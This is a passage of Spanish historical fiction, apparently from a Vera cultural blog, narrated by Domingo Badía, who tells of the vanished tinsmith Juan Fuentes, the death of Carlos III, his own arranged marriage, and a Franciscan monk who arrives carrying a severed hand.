Se\u00f1alaban al \u00fanico paisano de la formaci\u00f3n.<\/p>\n<p>-Los p\u00e1jaros no vuelan sin plumas -dijo en voz baja uno, agazapado en un corrillo.<\/p>\n<p>-\u00a1Demasiado fest\u00edn para un solo hombre! -coment\u00f3 otro a su lado.<\/p>\n<p>Juan Fuentes abarc\u00f3 con la mirada a la muchedumbre, se apart\u00f3 de los soldados y avanz\u00f3 con el caballo hasta rozar las primeras filas que se estremecieron y dieron un paso atr\u00e1s.<\/p>\n<p>-\u00a1Ea, se\u00f1ores! Aqu\u00ed se pelea s\u00f3lo con la lengua, seg\u00fan parece.<\/p>\n<p><em>El Esta\u00f1ador <\/em>era taciturno y orgulloso, duro como una piedra y astuto como un zorro. El mejor cazador de la regi\u00f3n. Hab\u00eda ganado muchas recompensas en batidas como aqu\u00e9lla. Todos le admiraban y, a la vez, le tem\u00edan. Entre otras muchas cosas se dec\u00eda de \u00e9l que, en alguna ocasi\u00f3n, perdido y hambriento en la sierra, se hab\u00eda alimentado de carne humana.<\/p>\n<p>-\u00a1Maldita sea! -grit\u00f3 con tono fiero-. No me gusta lo que and\u00e1is mascullando. \u00bfQuer\u00e9is saber por qu\u00e9 hemos encontrado s\u00f3lo un pu\u00f1ado de andrajos?<\/p>\n<p>Hablaba con rencor, desde la desolaci\u00f3n.<\/p>\n<p>-Esos renegados se han cambiado de ropa para regresar a los lugares en los que nacieron. Sencillamente han comprendido que los d\u00edas de la pirater\u00eda se acercan a su fin porque el rey anda en tratos con el Gran Turco. Han vuelto a vestir sus ropas cristianas y aqu\u00ed paz y despu\u00e9s gloria.<\/p>\n<p>Le miraron con incredulidad. En Vera, las consecuencias de aquella guerra inmemorial, cuyo comienzo nadie recordaba, hab\u00edan adquirido una naturaleza org\u00e1nica. El peligro y el miedo escoriaban el paisaje como la erosi\u00f3n del viento o del agua. El odio era un h\u00e1bito tan antiguo como la m\u00e1s a\u00f1eja de las tradiciones. S\u00f3lo puesto en cuesti\u00f3n por una fascinaci\u00f3n igualmente ciega. Para los habitantes de Vera resultaba tan dif\u00edcil de concebir que concluyera aquella guerra tan larga, como que se secara de pronto el mar.<\/p>\n<p>Incluso a m\u00ed me costaba imaginar el espacio que separaba las dos orillas, sin esa herida abierta, \u00fanica e igualmente dolorosa para ambas partes, aunque como militar sab\u00eda que aquella guerra hab\u00eda terminado convirti\u00e9ndose en un anacronismo. Hac\u00eda tiempo que la mayor\u00eda de las naciones hab\u00edan rubricado tratados de paz y comercio con el imperio turco y sus nav\u00edos surcaban sin incertidumbres las aguas sosegadas del Mediterr\u00e1neo. Por supuesto, estaba al tanto de que el ministro Floridablanca hab\u00eda establecido relaciones diplom\u00e1ticas con la Sublime Puerta otomana y obtenido los firmanes [*decreto soberano en Turqu\u00eda] para iniciar relaciones consulares con las regencias turcas en el norte de \u00c1frica. Con el bey de Tr\u00edpoli se suscribi\u00f3 el primer tratado. Argel ses rehus\u00f3 durante un tiempo. Pero la intimidaci\u00f3n secund\u00f3 eficazmente a la diplomacia y los bombardeos a los que someti\u00f3 Barcel\u00f3 a la ciudad lograron imponer la negociaci\u00f3n. Con T\u00fanez el acuerdo era inminente. Pero aun as\u00ed algo me imped\u00eda creer del todo que los \u00faltimos piratas acababan de pasar a nuestro lado para desvanecerse para siempre como un pu\u00f1ado de fantasmas.<\/p>\n<p>-No, yo no me los he zampado. \u00a1Qu\u00e9 ocurrencia! -grit\u00f3 Juan Fuentes-. Pero, para daros gusto, os dir\u00e9 a qu\u00e9 sabe la carne humana. Pensad un poco. \u00bfA qu\u00e9 puede saber?<\/p>\n<p>-\u00bfA qu\u00e9, <em>Esta\u00f1ador<\/em>?<\/p>\n<p>Escupi\u00f3 en el rostro de aquel que se atrevi\u00f3 a sostener su mirada, solt\u00f3 una carcajada y concluy\u00f3:<\/p>\n<p>-Sabe a cerdo.<\/p>\n<p>Juan Fuentes cerr\u00f3 su taller de esta\u00f1ar pocas semanas despu\u00e9s y desapareci\u00f3 de Vera. Un pescador de Garrucha encontr\u00f3 sus ropas de cristiano abandonadas en la playa de las Palomeras y asegur\u00f3 haber visto alejarse velozmente un m\u00e1stil, despuntando sobre un jir\u00f3n de niebla espesa y baja que le impidi\u00f3 averiguar la \u00edndole del nav\u00edo.<\/p>\n<p>Esa noche, en la taberna, un borracho crey\u00f3 reconocerle en el fondo vac\u00edo de una copa esta\u00f1ada, con turbante verde y envuelto en un albornoz carmes\u00ed, del color del vino de Andarax, aullando y agitando una cimitarra chorreante de sangre.<\/p>\n<p>-Tuve que arrojar el vaso lejos de m\u00ed pues de lo contrario me hubiera reventado los ojos -recalc\u00f3, entre hipos y gemidos.<\/p>\n<p>Muchas gentes empezaron desde entonces a tener visiones parecidas al utilizar los cacharros de lat\u00f3n recubiertos de esta\u00f1o por el renegado. En ellos acechaban sus ojos \u00e1cidos y fr\u00edos, estallaba su risa turbia, resonaban innobles blasfemias, la carne desaparec\u00eda sin que nadie la tocase y el resto de la comida se corromp\u00eda o envenenaba sola.<\/p>\n<p>Todas aquellas figuraciones sacaban de quicio a los contertulios de Berruezo, especialmente al m\u00e9dico que se vio obligado a tratar a los enajenados.<\/p>\n<p>-Va a resultar m\u00e1s dif\u00edcil acabar con esta guerra que lo que cost\u00f3 empezarla -anunci\u00f3, tras dejarse caer agotado en el sill\u00f3n despu\u00e9s de batallar, el d\u00eda entero, con aquellas obsesiones angustiosas.<\/p>\n<p>-Pero la paz es firme, doctor -le replic\u00f3 un abogado de los Reales Concejos-. El embajador de Turqu\u00eda ya est\u00e1 instalado en Madrid.<\/p>\n<p>-Ahora, la guerra prosigue en la imaginaci\u00f3n, amigo m\u00edo. El musulm\u00e1n anda enredado en los sue\u00f1os de los cristianos espa\u00f1oles desde hace casi siete siglos. A veces los sue\u00f1os tienen un reparto fijo, como las obras de teatro. El musulm\u00e1n es el protagonista indispensable de las pesadillas de nuestros compatriotas.<\/p>\n<p>-Su pongo que en la otra orilla suceder\u00e1 a la inversa -me aventur\u00e9 a opinar.<\/p>\n<p>Las orillas del mar de Albor\u00e1n son de cristal azogado. Las aguas separan un doble espejo en en el que unos y otros acechaban su propia imagen invertida. Cristianos y musulmanes, \u00c1frica y Europa escrutaban su reflejo en el otro.<\/p>\n<p>A\u00f1os despu\u00e9s, tambi\u00e9n Bad\u00eda y Al\u00ed-Bey se avistar\u00e1n desde dos continentes distintos, pero franquearon la distancia que los separaba y fue mucho lo que aprendieron de s\u00ed mismos al despojarse de su propia personalidad para adoptar la de su opuesto.<\/p>\n<p>Pero el caso de Juan Fuentes, <em>el Esta\u00f1ador<\/em>, fue bien distinto. En Vera le atribuyeron durante mucho tiempo la desaparici\u00f3n de los objetos perdidos, la sombra furtiva que se escabulle de la casa de una mujer casada y la causa de las calenturas y de las enfermedades p\u00fatridas. No empezaron a olvidarse de \u00e9l hasta que muri\u00f3 Carlos III.<\/p>\n<p>Ese d\u00eda los campos de Vera amanecieron bendecidos por una llovizna tierna. Alguien trenz\u00f3 una corona de aulaga, romero y tomillo fresco y ci\u00f1\u00f3 con ella la noble frente del busto del rey. Al sacarle de la escuela de latinidad en donde se hallaba depositado, se desprendieron de la diadema algunas gotas de roc\u00edo que resbalaron por sus mejillas y el pueblo dio en decir que el rey lloraba. En medio del alboroto de campanas, la multitud le sigui\u00f3 silenciosa hasta la iglesia donde aguardaban los miembros de la Sociedad Patri\u00f3tica vestidos de gala, algo so\u00f1olientos por el madrug\u00f3n y entreteni\u00e9ndose en hacer c\u00e1balas sobre su sucesor. Pero para el pueblo llano el cortejo f\u00fanebre era el m\u00e1s amargo de sus vidas. No comprend\u00edan c\u00f3mo pod\u00eda morirse un santo.<\/p>\n<p>Tras oficiarse el responso, le volvieron a sacar en procesi\u00f3n para llevarle hasta el ayuntamiento, donde se iba a organizar el velatorio. A uno de los soldados que guardaban la carrera se le dispar\u00f3 el fusil cuando, tras presentar armas al paso del rey, golpe\u00f3 la contera de la culata contra el empedrado, al tiempo que daba un taconazo.<\/p>\n<p>La bala se perdi\u00f3 en el aire espacioso y azul de Vera como si persiguiera esa alma, que al decir de las gentes, sobrevuela a los muertos y acert\u00f3 de refil\u00f3n en una torcaz que cay\u00f3 malherida de un ala, con gran consternaci\u00f3n de la muchedumbre.<\/p>\n<p>-Muerto el cuerpo, ahora sucumbe el alma del santo. \u00bfQu\u00e9 ser\u00e1 de nosotros? -se lamentaban, desolados, porque el paso de aquel ben\u00e9fico mortal por la tierra hab\u00eda sido tan breve y fugaz como la vida de cualquiera de ellos.<\/p>\n<p>Al alcalde le preocup\u00f3 tanta consternaci\u00f3n e hizo tremolar el pend\u00f3n real durante horas, en nombre de la nueva majestad, el Muy Poderoso y Cat\u00f3lico rey Carlos IV.<\/p>\n<p>-Y \u00bfc\u00f3mo es el ne\u00f3fito? -le asediaba la gente.<\/p>\n<p>Los miembros de la Sociedad Patri\u00f3tica se dieron cuenta de que era imposible lograr la adhesi\u00f3n de sus convecinos al leg\u00edtimo sucesor, sin brindarles un busto tan regio y prestigiado como el de su padre.<\/p>\n<p>Tard\u00f3 en llegar de Madrid, donde lo encargaron como el anterior a la Real Academia de San Fernando. Transcurrieron varias semanas en las que la ansiedad no dejaba vivir a nadie y m\u00e1s que rezar sollozaban ante el santo antiguo.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/CARLOS-IV-A.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2605\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/CARLOS-IV-A.jpg\" alt=\"\" width=\"350\" height=\"497\" \/><\/a><\/p>\n<p>-Pobrecillo. Era tan desprendido que no quiso hacer un milagro para s\u00ed mismo y se muri\u00f3.<\/p>\n<p>Cuando al fin hizo su entrada la efigie del sucesor era noche cerrada y sus formas apenas pod\u00edan distinguirse. Pero la ciudad, sin que nadie lo ordenase, se ilumin\u00f3 como un ascua y el busto pase\u00f3 lentamente entre el gent\u00edo pues todos quer\u00edan observarle durante largo rato.<\/p>\n<p>Las opiniones no eran, en principio, un\u00e1nimes. Una vieja, de vista tenue y fatigada, coment\u00f3 que era igual que su padre. Pero la mayor\u00eda encontr\u00f3 que su sonrisa, aunque dulce, resultaba algo tontorrona. Parec\u00eda dormido y tan fofo que la carne no se sosten\u00eda en papadas y belfo m\u00e1s que por la rigidez almidonada del m\u00e1rmol.<\/p>\n<p>-Pac\u00edfico parece y de coraz\u00f3n sencillo.<\/p>\n<p>-Eso s\u00ed.<\/p>\n<p>-Y afable.<\/p>\n<p>-Tambi\u00e9n.<\/p>\n<p>-Esperemos que salga avispado.<\/p>\n<p>-Por el gesto colijo que esperaremos en vano.<\/p>\n<p>-Lo peor es que el otro nos conoc\u00eda a todos. Sab\u00eda qui\u00e9nes eran indignos de su intercesi\u00f3n. Pero este santo tan recental, \u00bfcon qu\u00e9 discernimiento puede milagrear? El infeliz tendr\u00e1 que repartir los favores al buen tunt\u00fan.<\/p>\n<p>-\u00a1Ay, Dios m\u00edo! -llorique\u00f3 una beata muy contrita-. \u00bfPor qu\u00e9 se morir\u00e1n los santos en estos tiempos de ahora? Antes eso no pasaba.<\/p>\n<p>Lo curioso es que a partir de entonces los cambios del siglo empezaron a mostrarse esquivos con Vera.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/carlos-iv.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2606\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/carlos-iv.jpg\" alt=\"\" width=\"510\" height=\"286\" \/><\/a><\/p>\n<p><u><strong>LA MANO DE EFENDI<\/strong><\/u><\/p>\n<p>De la tempestad que se desencaden\u00f3 en Francia, al a\u00f1o siguiente, lleg\u00f3 hasta Vera un rumor lejano que vino a morir al pie de las murallas. El silencio de la prensa era absoluto y las aduanas establecidas para el pensamiento nos privaron de las revistas extranjeras.<\/p>\n<p>Uno o dos a\u00f1os despu\u00e9s un indio caribe que ven\u00eda de las Indias y hab\u00eda desembarcado en C\u00e1diz con el deseo de unirse en el pa\u00eds vecino a lo que llamaba la Convenci\u00f3n, nos habl\u00f3 de representaci\u00f3n nacional, de libertad y de igualdad durante unas pocas horas. Asimismo cit\u00f3 un artefacto para cortar cabezas al que llam\u00f3 guillotina. Algo dijo tambi\u00e9n de que el mism\u00edsimo rey Luis XVI hab\u00eda tenido el honor de probar el invento.<\/p>\n<p>-\u00bfComo verdugo o como v\u00edctima?<\/p>\n<p>No le dio tiempo a respondernos, pues era muy alocado y andaba con prisas y se perdi\u00f3 por el camino de Lorca desde donde pretend\u00eda alcanzar la ruta de Levante para entrar en Francia, tras atravesar Catalu\u00f1a, por el Rosell\u00f3n.<\/p>\n<p>Pero sus palabras alarmaron a una buena parte de los miembros de la Sociedad Patri\u00f3tica que empezaron a desconfiar de sus propias reformas y organizaron una rogativa en la iglesia para que lo que tem\u00edan que hab\u00eda ocurrido en Francia, que no sab\u00edan muy bien en qu\u00e9 hab\u00eda consistido, no hubiera ocurrido realmente.<\/p>\n<p>-Tiemblo ante lo que ha podido ocurrir -declar\u00f3 el p\u00e1rroco en la homil\u00eda-, me conmuevo por el buen rey de Francia y me apiado de aquel pueblo imprudente, veleidoso y turbulento. Se asegura que la era de la Raz\u00f3n ha ilustrado a los hombres sobre sus derechos, pero les ha arrebatado la dulce felicidad que proporciona el sosiego y la confianza en las propias convicciones y el disfrute de la inmunidad de su persona y de su familia. No deseamos para nuestra tierra los excesos de una ilustraci\u00f3n que autoriza la insolvencia de los actos, las palabras y los escritos contra los poderes leg\u00edtimos.<\/p>\n<p>Inquieto entre tantas noticias confusas, yo recobraba la serenidad en el estudio. Estaba a punto de cumplir, al menos en parte, la solemne promesa que le hab\u00eda hecho a Berruezo a\u00f1os atr\u00e1s. Ocupaba mi tiempo en la redacci\u00f3n de un ensayo sobre el gas y las m\u00e1quinas o globos aerost\u00e1ticos que culminar\u00eda, en sus p\u00e1ginas finales, con la descripci\u00f3n del procedimiento para construir uno de ellos.<\/p>\n<p>A menudo se interpon\u00eda entre el papel y mi pensamiento la imagen perturbadora de Mar\u00eda Luisa Berruezo. Me hab\u00eda empezado a fijar en ella desde hab\u00eda muy poco de una manera distinta y me costaba creer que fuese la misma persona que la ni\u00f1a a la que hab\u00eda visto tantas veces bordar, junto a la ventana, con las manos rezumadas de ropa blanca, al tiempo que canturreaba en voz baja alg\u00fan aire gracioso sobre amores imposibles.<\/p>\n<p>Era ya una mujer de oscuros cabellos sobresaltados y manos pulidas y n\u00edveas que se encend\u00edan al escanciar el vino en las tertulias de la casa de su padre. La hab\u00eda visto crecer desde que su cuerpo carec\u00eda de formas y, ahora, sus ojos negros me parec\u00edan enormes y el hueco entre sus senos, cuando se aproximaba e inclinaba el busto para llenar mi copa, se ahondaba y colmaba de misterio.<\/p>\n<p>Yo no sab\u00eda si aquello era amor y buscaba una palabra extra\u00f1a y desconocida, mucho m\u00e1s esquiva que cualquiera de las que me atormentaban al intentar escribir con claridad mi tratado sobre aerostaci\u00f3n.<\/p>\n<p>En mil ocasiones intent\u00e9 redactar un billete para ella, pero mis sentimientos no se acomodaban a ning\u00fan nombre preciso y satisfactorio. Fue Berruezo quien me evit\u00f3 el dilema.<\/p>\n<p>-A ti te gusta mi ni\u00f1a, Domingo. No me digas que no.<\/p>\n<p>Como yo no respondiera nada, prosigui\u00f3:<\/p>\n<p>-A m\u00ed me gustas t\u00fa para yerno. As\u00ed que \u00a1ea! S\u00f3lo hay que fijar la fecha de la boda.<\/p>\n<p>-Y \u00bfMar\u00eda Luisa? \u00bfCu\u00e1l es su inclinaci\u00f3n?<\/p>\n<p>-\u00bfLa ni\u00f1a? Har\u00e1 lo que diga su padre. Sabe que te est\u00e1 destinada seg\u00fan esa ley.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/matrimonio-domingo-bad\u00eda-al\u00ed-bey-cont.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2588\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/matrimonio-domingo-bad\u00eda-al\u00ed-bey-cont.jpg\" alt=\"\" width=\"1238\" height=\"845\" \/><\/a><\/p>\n<p>Al percibir mi perplejidad, a\u00f1adi\u00f3:<\/p>\n<p>-Sabe bordar a realce, deshuesar aceitunas, majar con finura las almendras y los ajos para las acelgas esparrag\u00e1s, rayar la corteza de lim\u00f3n para los roscos de semana santa y atravesar la plaza con modestia los domingos, despu\u00e9s de la misa de doce. \u00bfQu\u00e9 m\u00e1s quieres?<\/p>\n<p>El d\u00eda de nuestra boda pudo comprobar que era cierto. Mar\u00eda Luisa despleg\u00f3 diligentemente todas aquellas cualidades que ponderaba su padre.<\/p>\n<p>Al salir de la iglesia atraves\u00f3 con decoro la plaza, sin darse por enterada cuando su velo de tul se rasg\u00f3, enredado en una de mis espuelas y una voz turbia y aguardentosa se elev\u00f3 en el coro de los curiosos congregados en el atrio:<\/p>\n<p>-Temprano principia el novio a desgarrar a la reci\u00e9n casada.<\/p>\n<p>En el banquete me explic\u00f3, imperturbable, c\u00f3mo resulta m\u00e1s afectuoso y suave el majado de cominos, tomate, ajo asado y pimientos secos si se le agrega por sorpresa una l\u00e1grima de las que provoca la cebolla al ser cortada y me hizo probar un caldo de piment\u00f3n con l\u00e1grima y otro sin ella para que verificara por m\u00ed mismo la disparidad de texturas.<\/p>\n<p>-Es que la cocina reclama mucho sentimiento -puntualiz\u00f3.<\/p>\n<p>Cuando subimos a nuestra habitaci\u00f3n, se retir\u00f3 a otro cuarto y reapareci\u00f3 envuelta en un camis\u00f3n de seda, abarrotado de ramajes sutiles colmados de flores tiernas.<\/p>\n<p>-Habr\u00e1s de saber, Domingo, que estos bordados se llaman de realce porque han de imbricarse en la tela como las plumas en la carne de la paloma y no como el surco en la tierra. As\u00ed parece que vuelan.<\/p>\n<p>-Yo quiero que vuele el rop\u00f3n entero -le interrump\u00ed, enardecido.<\/p>\n<p>Entonces reconoc\u00ed en su rostro la misma mirada de estupor y sobresalto que tantas veces hab\u00eda acechado en mi madre. Como ella, deb\u00eda fiar a la intuici\u00f3n gran parte de las resoluciones a las que le obligaba la vida. En su educaci\u00f3n, encomendada a los escr\u00fapulos de su madre y los prejuicios de su confesor, faltaban las nociones m\u00e1s elementales del comportamiento humano.<\/p>\n<p>Aquella mirada revent\u00f3 de p\u00e1nico cuando me vio por primera vez desnudo. En el patio se estremec\u00eda deliciosamente la parra, arrullada por una brisa suave y silenciosa que se acababa de liberar del estruendo de vasos, canciones y porf\u00edas de los \u00faltimos invitados a la boda. Me acerqu\u00e9 a Mar\u00eda Luisa y me recibi\u00f3 como a una alacr\u00e1n, revolvi\u00e9ndose contra la amenaza de una picadura venenosa y mortal. Apart\u00e9 sus brazos, sus pechos saltaron como flechas y la mir\u00e9 como s\u00f3lo el fuego puede contemplar un bosque palpitante e impenetrable. La abrac\u00e9 y clav\u00f3 sus u\u00f1as en mi espalda. Bes\u00e9 unos labios fr\u00edos, fruncidos. Sin embargo, al cabo de un rato sus dedos se aflojaron hasta desaparecer. Recib\u00eda mis caricias como un \u00e1rbol el acoso del viento. Bajo mi cuerpo, el suyo era una duna sin forma, huidiza, cruelmente rendida. La volv\u00ed a mirar a la cara. Hab\u00eda cerrado los ojos. Supe que aquella oscuridad en la que se hab\u00eda recluido acabar\u00eda convirtiendo mi fuego en ceniza. Y me apart\u00e9.<\/p>\n<p>Tras recorrer veinte veces el dormitorio, de arriba abajo, me sent\u00e9 al borde de la cama y volv\u00ed a acariciarla, pero esta vez como se acaricia a un ni\u00f1o. Se calm\u00f3 poco a poco. Intent\u00e9 explicarle lo que el m\u00e1s rudimentario sentido com\u00fan reclamaba que ya debiera saber. Al cabo de un rato abri\u00f3 los ojos sin comprender. Reclam\u00f3 mi silencio, cruzando un dedo sobre los labios, y musit\u00f3 en voz muy baja, pero resuelta:<\/p>\n<p>-Haz lo que tengas que hacer, Domingo.<\/p>\n<p>De ma\u00f1ana nos despertaron unos golpes empecinados en el port\u00f3n. El d\u00eda hab\u00eda amanecido encapotado, ba\u00f1ado en una luz cenicienta. Un tropel de hombres preguntaba por m\u00ed y, aunque se deshac\u00edan en excusas por la inoportunidad de venir a molestarme en una fecha tan se\u00f1alada, aseguraban que el motivo era grave. Aquella noche hab\u00eda arribado a Garrucha un bajel desarbolado por una galerna en el Estrecho. Tres marineros de Rota, disfrazados de moros, conduc\u00edan en el barco a un monje franciscano, desde T\u00e1nger hasta Algeciras, cuando la tempestad los arranc\u00f3 de su ruta y, perdido el rumbo, vinieron a dar a la costa de Vera, sedientos y extenuados.<\/p>\n<p>A pesar de sus trazas sarracenas, nadie recel\u00f3 del relato, pues los marinos, en cuanto saltaron a tierra, no hicieron ascos a una c\u00e1ntara de vino y unos tasajos de cerdo que les ofrecieron para despejar cualquier sospecha.<\/p>\n<p>Pero el franciscano era otro cantar. Los marineros dijeron que se hab\u00eda mareados tres d\u00edan antes y que, desde entonces, dej\u00f3 de pedir por sus almas, saludar a los peces y bendecir a las olas. Le llevaron en brazos a la posada y se qued\u00f3 tan r\u00edgido y amojamado que parec\u00eda levitar dentro del holgado h\u00e1bito de estame\u00f1a que le envolv\u00eda hasta que le arrumbaron en un barco. Una barba nebulosa y blanca le encubr\u00eda en rostro y obstru\u00eda sus ojos una telilla lega\u00f1osa que hubo que desescamar con cuidado porque estaba muy pegada. Descubrieron entonces que ten\u00eda los p\u00e1rpados abiertos y una mirada pueril, como de no haber pecado nunca, muy sospechosa en un hombre de su edad. Pero lo m\u00e1s sorprendente es que sus manos aferraban un rebullo de tela de sarga y, a pesar del desvanecimiento, no result\u00f3 sencillo desenlazar los dedos para examinarlo.<\/p>\n<p>Quien desenvolvi\u00f3 el paquete dej\u00f3 escapar un grito. Conten\u00eda una mano cortada, con el pu\u00f1o cerrado y una llaga profunda desde el dorso a la palma, como si alguna vez hubiera estado atravesada por un clavo.<\/p>\n<p>No sab\u00edan a qu\u00e9 carta quedarse. \u00bfSe trataba de alguna reliquia de un m\u00e1rtir crucificado o del testimonio de un crimen? Apartaron los vasos, abandonaron la mano con zozobra y aprensi\u00f3n sobre la mesa y se aplicaron a reanimar al monje. Pero el franciscano no movi\u00f3 un solo m\u00fasculo a pesar de que le pincharon con un tenedor en las plantas de los pies.<\/p>\n<p>Descorazonados por lo bald\u00edo del esfuerzo, reclamaron una nueva botella y en ese instante cayeron en la cuenta de que la mano se hab\u00eda abierto y junto a ella se hallaba un papel escrito en caracteres ar\u00e1bigos presumiblemente con su propia sangre, pues no hab\u00eda tintero ni pluma en las cercan\u00edas.<\/p>\n<p>Un marinero, antiguo cautivo en Argel, que entend\u00eda el lenguaje de los infieles, deletre\u00f3 y tradujo: \u00abEsta mano pertenece a Efendi y ha sido cortada por orden del sult\u00e1n de los creyentes, pues es la mano de un traidor\u00bb.<\/p>\n<p>Entonces se decidieron a venir a buscarme, a pesar de que era mi noche de bodas, para dilucidar qu\u00e9 deb\u00edan hacer con la mano escritora y con el franciscano dormido. Dudaban entre cargar ambos de cadenas y prenderles fuego o remitirlos al obispo de Baza en una mula torda.<\/p>\n<p>Hice pasar a los hombres a la sala y depositamos el cuerpo r\u00edgido del monje cruzado sobre dos sillas. Con unas cuantas cachetadas y un emplasto de cant\u00e1ridas que prepar\u00f3 mi reciente esposa conseguimos despertarle. Salt\u00f3 de pronto como un caballo al que espolean, fue a dar en el suelo y se le arremag\u00f3 [arremang\u00f3] el h\u00e1bito, mostrando bien a las claras sus verg\u00fcenzas. Me fij\u00e9 en el entrecejo fruncido de Mar\u00eda Luisa, abismada en alg\u00fan rec\u00f3ndito pensamiento tras la sorpresa inicial.<\/p>\n<p>-\u00a1Tambi\u00e9n los santos varones tienen rabo! -musit\u00f3 en voz muy queda y ensimismada.<\/p>\n<p>El monje se empe\u00f1\u00f3 en bendecirnos de esa guisa, pero lo obligaron a alzarse y bendecirse antes a s\u00ed mismo en un espejo, pues para los rudos pescadores de Garrucha a\u00fan no estaba claro si era hombre o demonio.<\/p>\n<p>-Ahora que s\u00e9 d\u00f3nde estoy y es tierra de cristianos, tengo que confesarme inmediatamente -dijo el franciscano- porque el mayor pecado es el olvido y yo no recuerdo nada de lo que he hecho en los \u00faltimos tres d\u00edas.<\/p>\n<p>-\u00bfY antes de la traves\u00eda? -se alzaron varias voces.<\/p>\n<p>-Antes no precisaba de la memoria -suspir\u00f3 el monje- pues siempre andaba en tratos con las cosas peque\u00f1as que son ellas mismas memoria viva de la Gran Obra. Me ocupaba cada d\u00eda, como una madre, de comprar la leche para mis hermanos de la misi\u00f3n franciscana de T\u00e1nger y, de paso, al atravesar las calles del Zoco, imitaba el canto de la alondra para que llegase hasta los musulmanes un eco de la voz entonada del verdadero Dios.<\/p>\n<p>-\u00bfFrailes cristianos en T\u00e1nger? Nunca o\u00ed hablar de tal cosa -se extra\u00f1\u00f3 Mar\u00eda Luisa-. \u00a1Ya sospechaba yo que este capuchino no era de ley!<\/p>\n<p>-Est\u00e1bamos all\u00ed gracias a la buena voluntad del anterior sult\u00e1n para con los cristianos -salmodi\u00f3 con aspavientos de paciencia el bienaventurado-. Recordad que durante la guerra con Inglaterra el sult\u00e1n Sayyidi Muhammad Ibn &#8216;Abd-il-lah franque\u00f3 a la flota espa\u00f1ola los puertos marroqu\u00edes, permiti\u00e9ndoles abordar dentro de ellos a los buques ingleses que trataban de auxiliar Gibraltar. Tambi\u00e9n permiti\u00f3 el abastecimiento de las tripulaciones y garantiz\u00f3 el comercio de trigo desde el puerto de Dar Beyda. Y lo que es m\u00e1s importante, consinti\u00f3 una rendija para que penetrara en sus reinos la lluz verdadera de Dios. Pudimos abrir nuestra casa de misi\u00f3n en un rinconcito de T\u00e1nger.<\/p>\n<p>-\u00bfC\u00f3mo explicar\u00edas la presencia de esta mano cortada? -pregunt\u00e9, de improviso.<\/p>\n<p>-\u00a1Ah!\u00a1La mano de Efendi! -exclam\u00f3 el franciscano como si saliera de un sue\u00f1o-. \u00a1La hab\u00eda olvidado! Ahora comprendo el recelo que aprecio en vuestros semblantes. Pero convendr\u00e9is conmigo que no puede existir justicia en la boca del lobo. Desde que subi\u00f3 al trono su hijo Mauley al-Yacid todo ha cambiado. Su primera providencia fue cortar la mano derecha de Efendi, quien siendo ministro de su padre hab\u00eda firmado los tratados con Espa\u00f1a. Luego la hizo clavar en la puerta de la misi\u00f3n y, al cabo de unos d\u00edas, me oblig\u00f3 a zarpar en un bajel espa\u00f1ola cuya tripulaci\u00f3n oblig\u00f3 a vestir ropas musulmanas para eludir la prohibici\u00f3n que \u00e9l mismo ha impuesto de mantener tr\u00e1fico, trato o comercio alguno con cristianos. Yo tambi\u00e9n soy una excepci\u00f3n a esa ley pues me ha encargado llevar este funesto presente al mism\u00edsimo rey de Espa\u00f1a para que sepa a qu\u00e9 ha de atenerse de ahora en adelante.<\/p>\n<p>-Pero \u00a1la mano est\u00e1 viva! -exclam\u00f3 uno de los pescadores.<\/p>\n<p>-Ciertamente, hijo, nada muere del todo. Si cierras los ojos tambi\u00e9n puedes ver el cielo, porque Dios es tambi\u00e9n el se\u00f1or de la oscuridad.<\/p>\n<p>Padre, \u00a1la mano escribe en ar\u00e1bigo! -insisti\u00f3 el pescador, y le tendi\u00f3 el papel probatorio-. Lo cual quiere decir que razona.<\/p>\n<p>-Mucho me extra\u00f1ar\u00eda tal prodigio -sonri\u00f3 el franciscano-. El mundo en que vivimos es en s\u00ed prodigioso sin necesidad de diluirlo en el aire de la imaginaci\u00f3n. Yo guard\u00e9 este papel en el pu\u00f1o cerrado de Efendi y de all\u00ed debi\u00f3 caerse al abrirse la mano por s\u00ed sola a causa de alg\u00fan trasiego. Lo orden\u00f3 escribir el sult\u00e1n, con sangre del finado sobre la que hab\u00eda escupido en proleg\u00f3menos y lo mand\u00f3 fijar con un clavo en la puerta de nuestra casa.<\/p>\n<p>Anud\u00f3 buena amistad con el franciscano, que me transmiti\u00f3 el ensue\u00f1o misterioso de la otra orilla a lo largo de las conversaciones que mantuvimos durante el tiempo que se hosped\u00f3 en mi casa hasta que parti\u00f3 hacia la corte.<\/p>\n<p>-Antes quiero otorgar sepultura a la mano desdichada de Efendi. No sepultura cristiana, pues fue infiel. Pero s\u00ed al pie de un almendro porque se comport\u00f3 cari\u00f1osamente con nosotros y merece transformarse en una flor perfumada. Al rey le comunicar\u00e9 las noticias de viva voz, sin ilustraciones macabras, tan innecesarias siempre para expresar la desgracia.<\/p>\n<p>Transcurrido un a\u00f1o sin noticias suyas, me escribi\u00f3 para relatarme la primera ascensi\u00f3n efectiva de un globo en Espa\u00f1a que realizara el diplom\u00e1tico napolitano Vincenzo Lunardi el 12 de agosto de 1792.<\/p>\n<p>\u00abTodo esto os lo cuento -dec\u00eda en la carta- porque aunque esta clase de ascensiones\u00bb a los cielos no forman parte de mi ministerio, s\u00e9 que os interesan vivamente.<\/p>\n<p>\u00abLo vi subir en los jardines del Buen Retino de Madrid en ceremonia animada por las bandas de tres regimientos que interpretaron una pieza de Samuel Wesley, inspirada en esta suerte de vuelos. Supe m\u00e1s tarde que al descender el Daganzo de Arriba, naturales del pueblo le tomaron por ingerencia del otro mundo, aullaron de terror y el guarda de una vi\u00f1a enfil\u00f3 contra \u00e9l su escopeta de postas.\u00bb<\/p>\n<p>El \u00e9xito de aquella tentativa me incit\u00f3 a concluir mi <em>Ensayo sobre el gas y m\u00e1quinas o globos aerost\u00e1ticos<\/em> que firm\u00e9 con el 